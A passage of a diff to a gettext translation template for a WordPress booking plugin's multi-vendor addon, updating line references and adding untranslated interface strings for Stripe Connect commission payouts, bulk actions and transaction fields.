-#: includes/addons/multi-vendor/admin/commissions-list.php:73
-#: includes/addons/multi-vendor/admin/commissions-list.php:82
-#: includes/addons/multi-vendor/admin/commissions-list.php:228
-#: includes/custom-texts.php:839
+#: includes/addons/multi-vendor/admin/commission-settings.php:139
+#: includes/addons/multi-vendor/admin/commissions-list.php:78
+#: includes/addons/multi-vendor/admin/commissions-list.php:87
+#: includes/addons/multi-vendor/admin/commissions-list.php:235
+#: includes/custom-texts.php:848
 msgid "Commissions"
 msgstr ""
 
@@ -3735,40 +3744,40 @@
 "Booking calendar hidden due to \"Hide Non-Vendor Booking Calendars\" setting"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:142
+#: includes/addons/multi-vendor/admin/commission-settings.php:154
 msgid "Do not use secondary commission"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:143
+#: includes/addons/multi-vendor/admin/commission-settings.php:155
 msgid "First Time Customer"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:144
+#: includes/addons/multi-vendor/admin/commission-settings.php:156
 msgid "Repeat Customer"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:157
-#: includes/custom-texts.php:1353
+#: includes/addons/multi-vendor/admin/commission-settings.php:169
+#: includes/custom-texts.php:1359
 msgid "Vendor"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:176
+#: includes/addons/multi-vendor/admin/commission-settings.php:188
 msgid "Commission by Vendor Roles"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:199
+#: includes/addons/multi-vendor/admin/commission-settings.php:211
 msgid "Rates"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:206
+#: includes/addons/multi-vendor/admin/commission-settings.php:218
 msgid "Commission (%)"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:207
+#: includes/addons/multi-vendor/admin/commission-settings.php:219
 msgid "Role of the Vendor"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:232
+#: includes/addons/multi-vendor/admin/commission-settings.php:244
 msgid ""
 "Enter distinct commissions that will be applied to certain vendor user "
 "roles. Selecting multiple roles for a particular rate is allowed. If vendor "
@@ -3777,26 +3786,26 @@
 "commissions for those vendors."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:234
+#: includes/addons/multi-vendor/admin/commission-settings.php:246
 msgid ""
 "A table where you can define which vendor role will receive how much "
 "commission will be revealed here after you select and save number of "
 "commission rates."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:244
+#: includes/addons/multi-vendor/admin/commission-settings.php:256
 msgid "Maximum commission"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:245
+#: includes/addons/multi-vendor/admin/commission-settings.php:257
 msgid "Minimum commission"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:259
+#: includes/addons/multi-vendor/admin/commission-settings.php:271
 msgid "Client Approval"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:267
+#: includes/addons/multi-vendor/admin/commission-settings.php:279
 msgid ""
 "Enabling Client Approval adds a new status \"Approved\" to the bookings. "
 "Using this status you can give time to your clients approve or dispute for "
@@ -3806,338 +3815,454 @@
 "template."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:268
+#: includes/addons/multi-vendor/admin/commission-settings.php:280
 msgid "You can use Approved status to filter bookings for commission payouts."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:269
+#: includes/addons/multi-vendor/admin/commission-settings.php:281
 msgid ""
 "This will also add another status \"Standby\". You can take disputed "
 "bookings into this status. Bookings in standby do not reserve any slot or do "
 "not change their status."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commission-settings.php:287
+#: includes/addons/multi-vendor/admin/commission-settings.php:298
+msgid "Pay Commissions with Stripe Connect"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:306
+msgid ""
+"You can pay vendor commissions using Stripe by the help of Stripe Connect. "
+"Using the connection button on the Settings tab of their Account page, "
+"vendors should register their business to Stripe and connect to your Stripe "
+"account."
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:317
+msgid "Pay Only Manually"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:318
+msgid "When booking is completed"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:319
+msgid "When client approves the booking"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:328
+#: includes/admin/bookings.php:706 includes/admin/clients.php:460
+#: includes/constant-data.php:467
+msgid "Client ID"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:331
+msgid ""
+"Stripe Client ID should be taken from <b>Settings > Connect > Onboarding "
+"Options > OAuth</b> page of your Stripe account."
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:336
+msgid "Publishable Key"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:339
+msgid ""
+"Stripe Publishable Key and Secret Key should be taken from <b>Settings > "
+"Developers > API Keys</b> page of your Stripe account."
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:344
+msgid "Secret Key"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:348
+msgid "See Publishable Key"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:353
+msgid "Redirect"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:356
+#, php-format
+msgid ""
+"Add this URL to <b>Redirect</b> field on <b>Settings > Connect > Onboarding "
+"Options > OAuth</b> page of your Stripe account: <code>%s</code>"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:358
+#, php-format
+msgid ""
+"Create an Account page using <code>[app_account]</code> shortcode. This is "
+"required for Stripe Connect. If you already have such a page, set it %s."
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:358
+msgid "in this setting here"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commission-settings.php:372
 msgid "Save Vendor Settings"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:184
-#: includes/addons/multi-vendor/admin/commissions-list.php:981
-#: includes/addons/multi-vendor/admin/commissions-list.php:1129
-#: includes/custom-texts.php:1109
+#: includes/addons/multi-vendor/admin/commissions-list.php:189
+#: includes/addons/multi-vendor/admin/commissions-list.php:1188
+#: includes/custom-texts.php:1116
 msgid "Commission ID"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:186
-#: includes/addons/multi-vendor/admin/commissions-list.php:657
-#: includes/addons/multi-vendor/admin/commissions-list.php:984
-#: includes/addons/multi-vendor/admin/commissions-list.php:1135
+#: includes/addons/multi-vendor/admin/commissions-list.php:191
+#: includes/addons/multi-vendor/admin/commissions-list.php:664
+#: includes/addons/multi-vendor/admin/commissions-list.php:1024
+#: includes/addons/multi-vendor/admin/commissions-list.php:1194
 #: includes/addons/online-meetings/zoom/zoom.php:818
 #: includes/admin/bookings.php:703 includes/admin/transactions.php:468
-#: includes/custom-texts.php:807
+#: includes/custom-texts.php:816
 msgid "Booking ID"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:188
-#: includes/addons/multi-vendor/admin/commissions-list.php:988
+#: includes/addons/multi-vendor/admin/commissions-list.php:193
+#: includes/addons/multi-vendor/admin/commissions-list.php:1028
 #: includes/admin/bookings.php:664
 msgid "Booking Status"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:190
-#: includes/addons/multi-vendor/admin/commissions-list.php:658
-#: includes/addons/multi-vendor/admin/commissions-list.php:1141
-#: includes/admin/transactions.php:469 includes/custom-texts.php:1214
+#: includes/addons/multi-vendor/admin/commissions-list.php:195
+#: includes/addons/multi-vendor/admin/commissions-list.php:665
+#: includes/addons/multi-vendor/admin/commissions-list.php:1200
+#: includes/admin/transactions.php:469 includes/custom-texts.php:1220
 msgid "Payment ID"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:192
-#: includes/custom-texts.php:1110
+#: includes/addons/multi-vendor/admin/commissions-list.php:197
+#: includes/custom-texts.php:1117
 msgid "Rate"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:194
-#: includes/addons/multi-vendor/admin/commissions-list.php:994
+#: includes/addons/multi-vendor/admin/commissions-list.php:199
+#: includes/addons/multi-vendor/admin/commissions-list.php:1034
 msgid "Provider/Owner"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:229
+#: includes/addons/multi-vendor/admin/commissions-list.php:201
+#: includes/addons/multi-vendor/admin/commissions-list.php:1040
+#: includes/addons/stripe/stripe.php:287
+msgid "Stripe"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commissions-list.php:236
 #: includes/addons/multi-vendor/admin/vendors-list.php:285
 #: includes/addons/seasonal-working-hours.php:707
 msgid "Add New"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:256
+#: includes/addons/multi-vendor/admin/commissions-list.php:263
 #: includes/functions.internal.php:2323
 msgid "Reset"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:301
+#: includes/addons/multi-vendor/admin/commissions-list.php:308
 msgid "Generate Payout File"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:307
+#: includes/addons/multi-vendor/admin/commissions-list.php:314
 #: includes/freeons/export-import.php:1408
 msgid "Choose start date"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:308
+#: includes/addons/multi-vendor/admin/commissions-list.php:315
 #: includes/freeons/export-import.php:1409
 msgid "Choose end date"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:309
+#: includes/addons/multi-vendor/admin/commissions-list.php:316
 #, php-format
 msgid "Min. payment (%s)"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:311
+#: includes/addons/multi-vendor/admin/commissions-list.php:318
 msgid "For Completed bookings"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:318
+#: includes/addons/multi-vendor/admin/commissions-list.php:325
 #, php-format
 msgid "For %s bookings"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:320
+#: includes/addons/multi-vendor/admin/commissions-list.php:327
 msgid "For bookings of any status"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:325
+#: includes/addons/multi-vendor/admin/commissions-list.php:332
 msgid "Generate File"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:327
+#: includes/addons/multi-vendor/admin/commissions-list.php:334
 msgid ""
 "This will generate a payout file for review. All three limit values are "
 "optional. Normally commissions are paid only for completed bookings, however "
 "you can select any booking status."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:335
+#: includes/addons/multi-vendor/admin/commissions-list.php:342
 msgid "Mark as Paid"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:338
+#: includes/addons/multi-vendor/admin/commissions-list.php:345
 msgid "This will mark all unpaid commissions in the generated file as paid."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:342
+#: includes/addons/multi-vendor/admin/commissions-list.php:349
 msgid "Done"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:401
+#: includes/addons/multi-vendor/admin/commissions-list.php:408
 msgid "Start:"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:402
+#: includes/addons/multi-vendor/admin/commissions-list.php:409
 msgid "End:"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:403
+#: includes/addons/multi-vendor/admin/commissions-list.php:410
 msgid "Minimum:"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:406
+#: includes/addons/multi-vendor/admin/commissions-list.php:413
 msgid "Booking status:"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:408
+#: includes/addons/multi-vendor/admin/commissions-list.php:415
 #, php-format
 msgid "No unpaid commissions found for criteria:%s"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:456
+#: includes/addons/multi-vendor/admin/commissions-list.php:463
 #, php-format
-msgid "%1$d commissions with IDs %2$s have been changed as paid by user: %3$s."
+msgid ""
+"%1$d commission records with IDs %2$s have been changed as paid by user: "
+"%3$s."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:462
+#: includes/addons/multi-vendor/admin/commissions-list.php:469
 #, php-format
 msgid "%d records have been changed as paid."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:464
+#: includes/addons/multi-vendor/admin/commissions-list.php:471
 msgid "No records have been changed"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:654
+#: includes/addons/multi-vendor/admin/commissions-list.php:661
 #: includes/addons/service-providers/workers-list.php:550
 msgid "Provider Name"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:655
+#: includes/addons/multi-vendor/admin/commissions-list.php:662
 #: includes/addons/service-providers/workers-list.php:551
 msgid "Provider ID"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:656
+#: includes/addons/multi-vendor/admin/commissions-list.php:663
 msgid "Provider email"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:657
+#: includes/addons/multi-vendor/admin/commissions-list.php:664
 #: includes/admin/bookings.php:703 includes/admin/transactions.php:468
 msgid "Multiple IDs separated with comma or space is possible"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:659
+#: includes/addons/multi-vendor/admin/commissions-list.php:666
 #: includes/admin/transactions.php:470
 msgid "Amount ="
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:660
+#: includes/addons/multi-vendor/admin/commissions-list.php:667
 #: includes/admin/transactions.php:471
 msgid "Amount &gt;"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:661
+#: includes/addons/multi-vendor/admin/commissions-list.php:668
 #: includes/admin/transactions.php:472
 msgid "Amount &lt;"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:698
+#: includes/addons/multi-vendor/admin/commissions-list.php:705
 msgid "Filter by payment month/week"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:712
+#: includes/addons/multi-vendor/admin/commissions-list.php:719
 msgid "Filter by service provider"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:714
+#: includes/addons/multi-vendor/admin/commissions-list.php:721
 #: includes/admin/bookings.php:828 includes/admin/dashboard.php:1045
 msgid "Unassigned"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:729
+#: includes/addons/multi-vendor/admin/commissions-list.php:736
 msgid "Filter by booking status"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:752
-#: includes/addons/multi-vendor/admin/vendors-list.php:483
-#: includes/admin/bookings.php:883 includes/admin/clients.php:483
-#: includes/admin/services-list.php:685
-msgid "Bulk status change"
+#: includes/addons/multi-vendor/admin/commissions-list.php:760
+msgid "Bulk Actions"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commissions-list.php:761
+msgid "Change Status"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commissions-list.php:766
+msgid "Pay Commission"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:777
-#: includes/admin/bookings.php:912 includes/admin/services-list.php:662
+#: includes/addons/multi-vendor/admin/commissions-list.php:767
+msgid "Pay"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commissions-list.php:790
+#: includes/admin/bookings.php:912 includes/admin/services-list.php:663
 #: includes/admin/transactions.php:504
 msgid "Sort by"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:778
+#: includes/addons/multi-vendor/admin/commissions-list.php:791
 msgid "Payment date (Earliest first)"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:779
+#: includes/addons/multi-vendor/admin/commissions-list.php:792
 msgid "Payment date (Latest first)"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:780
+#: includes/addons/multi-vendor/admin/commissions-list.php:793
 msgid "ID (Lowest first)"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:781
+#: includes/addons/multi-vendor/admin/commissions-list.php:794
 msgid "ID (Highest first)"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:787
-#: includes/admin/bookings.php:925 includes/admin/services-list.php:671
+#: includes/addons/multi-vendor/admin/commissions-list.php:800
+#: includes/admin/bookings.php:925 includes/admin/services-list.php:672
 #: includes/admin/transactions.php:513
 msgid "Sort"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:814
+#: includes/addons/multi-vendor/admin/commissions-list.php:833
+#, php-format
+msgid "%1$d commission records with IDs %2$s deleted by user: %3$s"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commissions-list.php:838
+#: includes/admin/services-list.php:758
+#, php-format
+msgid "%d records have been deleted"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commissions-list.php:853
 #, php-format
-msgid "%1$d Commissions with IDs %2$s changed to %3$s by user: %4$s"
+msgid "%1$d commission records with IDs %2$s changed to %3$s by user: %4$s"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:820
+#: includes/addons/multi-vendor/admin/commissions-list.php:859
 #: includes/addons/multi-vendor/admin/vendors-list.php:544
-#: includes/admin/services-list.php:761
+#: includes/admin/services-list.php:762
 #, php-format
 msgid "%d records have been changed"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:856
+#: includes/addons/multi-vendor/admin/commissions-list.php:896
 #, php-format
 msgid "Commission(s) with id(s): %1$s deleted by user %2$s"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:941
+#: includes/addons/multi-vendor/admin/commissions-list.php:981
 #: includes/admin/bookings.php:1034 includes/freeons/test-bookings.php:538
 msgid "Permanently Delete Selected Records"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:941
+#: includes/addons/multi-vendor/admin/commissions-list.php:981
 #: includes/admin/bookings.php:1034 includes/freeons/test-bookings.php:538
 msgid "Clicking this button permanently deletes selected records"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:991
-#: includes/addons/multi-vendor/admin/commissions-list.php:1145
+#: includes/addons/multi-vendor/admin/commissions-list.php:1021
+msgid "Comm. ID"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commissions-list.php:1031
+#: includes/addons/multi-vendor/admin/commissions-list.php:1204
 msgid "Rate (%)"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:997
-#: includes/addons/multi-vendor/admin/commissions-list.php:1149
+#: includes/addons/multi-vendor/admin/commissions-list.php:1037
+#: includes/addons/multi-vendor/admin/commissions-list.php:1208
 #, php-format
 msgid "Amount (%s)"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:1063
+#: includes/addons/multi-vendor/admin/commissions-list.php:1107
 msgid "Click to edit commission"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:1064
+#: includes/addons/multi-vendor/admin/commissions-list.php:1108
 #: includes/addons/multi-vendor/admin/vendors-list.php:735
 #: includes/admin/bookings.php:1299 includes/admin/clients.php:689
-#: includes/admin/transactions.php:857 includes/assets.php:357
-#: includes/custom-texts.php:971 includes/custom-texts.php:973
+#: includes/admin/transactions.php:859 includes/assets.php:327
+#: includes/custom-texts.php:978 includes/custom-texts.php:980
 #: sample/sample-appointments-page.php:26
 msgid "Edit"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:1131
-#: includes/custom-texts.php:944
+#: includes/addons/multi-vendor/admin/commissions-list.php:1190
+#: includes/custom-texts.php:951
 msgid "Created"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:1139
+#: includes/addons/multi-vendor/admin/commissions-list.php:1198
 #: includes/addons/sms.php:550 includes/addons/sms.php:583
 #: includes/addons/sms.php:674 includes/addons/sms.php:706
-#: includes/admin/bookings.php:1505 includes/custom-texts.php:1241
-#: includes/custom-texts.php:1368 includes/freeons/test-bookings.php:598
-#: includes/schedules.php:415
+#: includes/admin/bookings.php:1505 includes/custom-texts.php:1246
+#: includes/custom-texts.php:1374 includes/freeons/test-bookings.php:598
+#: includes/functions.listing.php:177 includes/schedules.php:430
 msgid "Provider"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:1157
-#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:378
-#: includes/custom-texts.php:1195 includes/custom-texts.php:1336
+#: includes/addons/multi-vendor/admin/commissions-list.php:1216
+#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:376
+#: includes/custom-texts.php:1201 includes/custom-texts.php:1342
 msgid "Paid"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:1179
+#: includes/addons/multi-vendor/admin/commissions-list.php:1220
+#: includes/freeons/manual-payments/manual-payments.php:108
+msgid "Transaction ID"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commissions-list.php:1224
+msgid "Transaction Reference"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/commissions-list.php:1246
 msgid "Add Commission"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:1240
+#: includes/addons/multi-vendor/admin/commissions-list.php:1307
 msgid "Provider does not exist!"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:1303
+#: includes/addons/multi-vendor/admin/commissions-list.php:1378
 #: includes/addons/multi-vendor/admin/vendors-list.php:1250
 #: includes/addons/multi-vendor/admin/vendors-list.php:1350
-#: includes/admin/bookings.php:2215 includes/schedules.php:794
+#: includes/admin/bookings.php:2215 includes/schedules.php:819
 msgid "Email has been sent."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/commissions-list.php:1305
+#: includes/addons/multi-vendor/admin/commissions-list.php:1380
 #: includes/addons/multi-vendor/admin/vendors-list.php:1252
 #: includes/addons/multi-vendor/admin/vendors-list.php:1352
-#: includes/admin/bookings.php:2217 includes/schedules.php:798
+#: includes/admin/bookings.php:2217 includes/schedules.php:823
 msgid "Email could NOT be sent!"
 msgstr ""
 
@@ -4240,7 +4365,7 @@
 msgstr ""
 
 #: includes/addons/multi-vendor/admin/vendor-settings.php:175
-#: includes/admin/global-settings.php:707 includes/custom-texts.php:813
+#: includes/admin/global-settings.php:841 includes/custom-texts.php:822
 #: includes/login-register.php:206 includes/widgets.php:297
 msgid "Auto"
 msgstr ""
@@ -4259,7 +4384,7 @@
 msgstr ""
 
 #: includes/addons/multi-vendor/admin/vendor-settings.php:187
-#: includes/admin/services-list.php:1548 includes/custom-texts.php:1369
+#: includes/admin/services-list.php:1549 includes/custom-texts.php:1375
 msgid "Provider Free"
 msgstr ""
 
@@ -4270,10 +4395,10 @@
 #: includes/addons/multi-vendor/admin/vendor-settings.php:557
 #: includes/addons/multi-vendor/admin/vendor-settings.php:636
 #: includes/addons/multi-vendor/admin/vendor-settings.php:694
-#: includes/admin/global-settings.php:493
-#: includes/admin/global-settings.php:561
-#: includes/admin/global-settings.php:620
-#: includes/admin/global-settings.php:647 includes/wh.php:1386
+#: includes/admin/global-settings.php:578
+#: includes/admin/global-settings.php:683
+#: includes/admin/global-settings.php:754
+#: includes/admin/global-settings.php:781 includes/wh.php:1386
 #: includes/wh.php:1417
 msgid "Save Everything"
 msgstr ""
@@ -4334,36 +4459,41 @@
 msgid "Affiliates Manager (WPAM)"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/vendor-settings.php:360
+#: includes/addons/multi-vendor/admin/vendor-settings.php:359
 msgid "BuddyPress/BuddyBoss"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/vendor-settings.php:361
+#: includes/addons/multi-vendor/admin/vendor-settings.php:360
 msgid "GeoDirectory"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/vendor-settings.php:362
+#: includes/addons/multi-vendor/admin/vendor-settings.php:361
 msgid "Listeo"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/vendor-settings.php:363
+#: includes/addons/multi-vendor/admin/vendor-settings.php:362
 msgid "Listing Pro"
 msgstr ""
 
+#: includes/addons/multi-vendor/admin/vendor-settings.php:363
+#: includes/admin/tinymce.php:229
+msgid "Other"
+msgstr ""
+
 #: includes/addons/multi-vendor/admin/vendor-settings.php:385
 #: includes/addons/multi-vendor/admin/vendors-list.php:881
 #: includes/addons/multi-vendor/admin/vendors-list.php:988
 #: includes/addons/service-providers/workers-list.php:1053
 #: includes/addons/service-providers/workers-list.php:1149
-#: includes/custom-texts.php:821 includes/custom-texts.php:1105
+#: includes/custom-texts.php:830 includes/custom-texts.php:1112
 msgid "Bio Page"
 msgstr ""
 
 #: includes/addons/multi-vendor/admin/vendor-settings.php:398
 #, php-format
 msgid ""
-"When BuddyPress integration is active, below Bio Page settings have no "
-"effect. Instead see %s."
+"When BuddyPress integration is active and the only active listing "
+"integration plugin, below Bio Page settings have no effect. Instead see %s."
 msgstr ""
 
 #: includes/addons/multi-vendor/admin/vendor-settings.php:398
@@ -4371,7 +4501,7 @@
 msgstr ""
 
 #: includes/addons/multi-vendor/admin/vendor-settings.php:513
-#: includes/custom-texts.php:1314
+#: includes/custom-texts.php:1319
 msgid "Store Page"
 msgstr ""
 
@@ -4396,12 +4526,12 @@
 msgstr ""
 
 #: includes/addons/multi-vendor/admin/vendor-settings.php:581
-#: includes/addons/online-meetings/agora/agora.php:672
-#: includes/addons/online-meetings/agora/agora.php:686
+#: includes/addons/online-meetings/agora/agora.php:1002
+#: includes/addons/online-meetings/agora/agora.php:1016
 #: includes/addons/online-meetings/jitsi/jitsi.php:784
 #: includes/addons/online-meetings/jitsi/jitsi.php:798
 #: includes/addons/paypal-standard/paypal-standard.php:234
-#: includes/admin/global-settings.php:412
+#: includes/admin/global-settings.php:460
 #: includes/payment-gateway-pay-later.php:89
 msgid "Home page"
 msgstr ""
@@ -4557,33 +4687,37 @@
 "where <code>[app_account]</code> resides."
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/vendor-settings.php:848
+#: includes/addons/multi-vendor/admin/vendor-settings.php:851
 msgid "Validation"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/vendor-settings.php:849
+#: includes/addons/multi-vendor/admin/vendor-settings.php:852
 msgid "Vendor Pending"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/vendor-settings.php:850
+#: includes/addons/multi-vendor/admin/vendor-settings.php:853
 #: includes/addons/multi-vendor/includes/approved.php:57
 #: includes/addons/multi-vendor/includes/approved.php:387
 #: includes/addons/multi-vendor/includes/functions.multi-vendor.php:31
-#: includes/custom-texts.php:810
+#: includes/custom-texts.php:819
 msgid "Approved"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/vendor-settings.php:851
+#: includes/addons/multi-vendor/admin/vendor-settings.php:854
 #: includes/addons/multi-vendor/includes/functions.multi-vendor.php:32
 msgid "Declined"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/vendor-settings.php:859
+#: includes/addons/multi-vendor/admin/vendor-settings.php:855
+msgid "Commission Paid"
+msgstr ""
+
+#: includes/addons/multi-vendor/admin/vendor-settings.php:863
 #, php-format
 msgid "Settings for application %s email"
 msgstr ""
 
-#: includes/addons/multi-vendor/admin/vendor-settings.php:940
+#: includes/addons/multi-vendor/admin/vendor-settings.php:944
 #: includes/functions.internal.php:1463
 msgid "Custom Posts"
 msgstr ""
@@ -4609,7 +4743,7 @@
 #: includes/addons/multi-vendor/admin/vendors-list.php:462
 #: includes/addons/service-providers/workers-list.php:552
 #: includes/admin/bookings.php:707 includes/admin/clients.php:461
-#: includes/custom-texts.php:891 includes/custom-texts.php:977
+#: includes/custom-texts.php:900 includes/custom-texts.php:986
 #: includes/functions.internal.php:2319
 msgid "Email"
 msgstr ""
@@ -4617,17 +4751,23 @@
 #: includes/addons/multi-vendor/admin/vendors-list.php:463
 #: includes/addons/service-providers/workers-list.php:553
 #: includes/admin/bookings.php:708 includes/admin/clients.php:462
-#: includes/custom-texts.php:897 includes/custom-texts.php:1222
+#: includes/custom-texts.php:906 includes/custom-texts.php:1228
 msgid "Phone"
 msgstr ""
 
 #: includes/addons/multi-vendor/admin/vendors-list.php:465
 #: includes/addons/service-providers/workers-list.php:555
 #: includes/admin/bookings.php:710 includes/admin/clients.php:464
-#: includes/custom-texts.php:887 includes/custom-texts.php:907
+#: includes/custom-texts.php:896 includes/custom-texts.php:916
 msgid "City"
 msgstr ""
 
+#: includes/addons/multi-vendor/admin/vendors-list.php:483
+#: includes/admin/bookings.php:883 includes/admin/clients.php:483
+#: includes/admin/services-list.php:686
+msgid "Bulk status change"
+msgstr ""
+
 #: includes/addons/multi-vendor/admin/vendors-list.php:489
 #: includes/admin/clients.php:484
 msgid "Remove"
@@ -4664,12 +4804,12 @@
 #: includes/addons/multi-vendor/admin/vendors-list.php:887
 #: includes/addons/service-providers/workers-list.php:1059
 #: includes/addons/service-providers/workers-list.php:1714
-#: includes/custom-texts.php:1303
+#: includes/custom-texts.php:1309
 msgid "Services Provided"
 msgstr ""
 
 #: includes/addons/multi-vendor/admin/vendors-list.php:893
-#: includes/custom-texts.php:1207
+#: includes/custom-texts.php:1213
 msgid "PayPal Email"
 msgstr ""
 
@@ -4801,7 +4941,7 @@
 msgstr ""
 
